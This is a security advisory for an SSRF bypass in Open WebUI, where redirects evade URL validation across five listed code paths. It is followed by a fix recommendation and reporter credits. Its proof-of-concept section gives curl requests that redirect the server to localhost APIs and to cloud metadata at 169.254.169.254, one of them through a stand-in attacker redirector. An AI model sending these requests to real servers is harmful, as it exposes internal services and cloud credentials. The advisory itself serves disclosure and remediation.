PT-2026-59396 · Pypi · Open-Webui

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

8.5

Alta

VetorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints

Summary

The validate url() function in backend/open webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image url content part, and any other route that calls these helpers.

Affected code paths

The bypass exists across multiple call sites; each independently follows redirects without re-validation.

Path 1 — sync scrape via SafeWebBaseLoader

backend/open webui/retrieval/web/utils.pySafeWebBaseLoader inherits from langchain community.document loaders.WebBaseLoader. The parent's scrape() calls self.session.get(url, **self.requests kwargs). requests kwargs only sets timeout; allow redirects=False is not passed, so requests.Session.get() follows redirects with the default allow redirects=True. validate url() is invoked once on the original URL only.

Path 2 — async fetch (aiohttp)

backend/open webui/retrieval/web/utils.py fetch() previously inherited the aiohttp default allow redirects=True. As of HEAD this path is fixed (allow redirects=False). Listed for completeness.

Path 3 — get content from url (sync requests.get)

backend/open webui/retrieval/utils.pyresponse = requests.get(url, stream=True, timeout=30). No allow redirects=False. Reached via /api/v1/retrieval/process/web (file ingestion) and other routers that resolve external URLs.

Path 4 — load url image (image edit)

backend/open webui/routers/images.py — image-URL fetching helper used by the image-edit endpoint. Same pattern: validate url() checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via /api/v1/images/edit.

Path 5 — get image base64 from url (chat-completion image inlining)

backend/open webui/utils/files.pyget image base64 from url() is invoked from convert url images to base64() in backend/open webui/utils/middleware.py on every /api/chat/completions request whose message content includes an image url part. The shared aiohttp session pool (backend/open webui/utils/session pool.py) does not override the aiohttp default allow redirects=True, and the call site itself does not pass allow redirects=False. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.

Proof of concept

Authenticated low-privilege user; default config, no admin or special permissions required.
bash
curl -X POST https://<target>/api/v1/retrieval/process/web 
 -H "Authorization: Bearer <any user token>" 
 -H "Content-Type: application/json" 
 -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status code=302"}'
Response body contains the internal /api/config payload in file.data.content. Replace the redirect target with http://169.254.169.254/latest/meta-data/ for cloud metadata, or any internal hostname reachable from the server.
For the chat-completion path (Path 5), the same redirect is followed when an image url content part points to an attacker-controlled redirector:
bash
curl -X POST https://<target>/api/chat/completions 
 -H "Authorization: Bearer <any user token>" 
 -H "Content-Type: application/json" 
 -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image url","image url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'

Impact

Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.

Recommended fix

For every call site that follows redirects, set allow redirects=False on the underlying HTTP client and add a per-hop validation loop using validate url() on each Location: header.

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.
  • tenbbughunters — first to identify SafeWebBaseLoader sync scrape (Path 1)
  • YLChen-007 — first to identify load url image (Path 4)
  • tempcollab — first to identify aiohttp fetch (Path 2)
  • sneaXOR — first to identify get content from url (Path 3)
  • nayakchinmohan — first to identify get image base64 from url in chat-completion middleware (Path 5)

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-2755

Produtos afetados

Open-Webui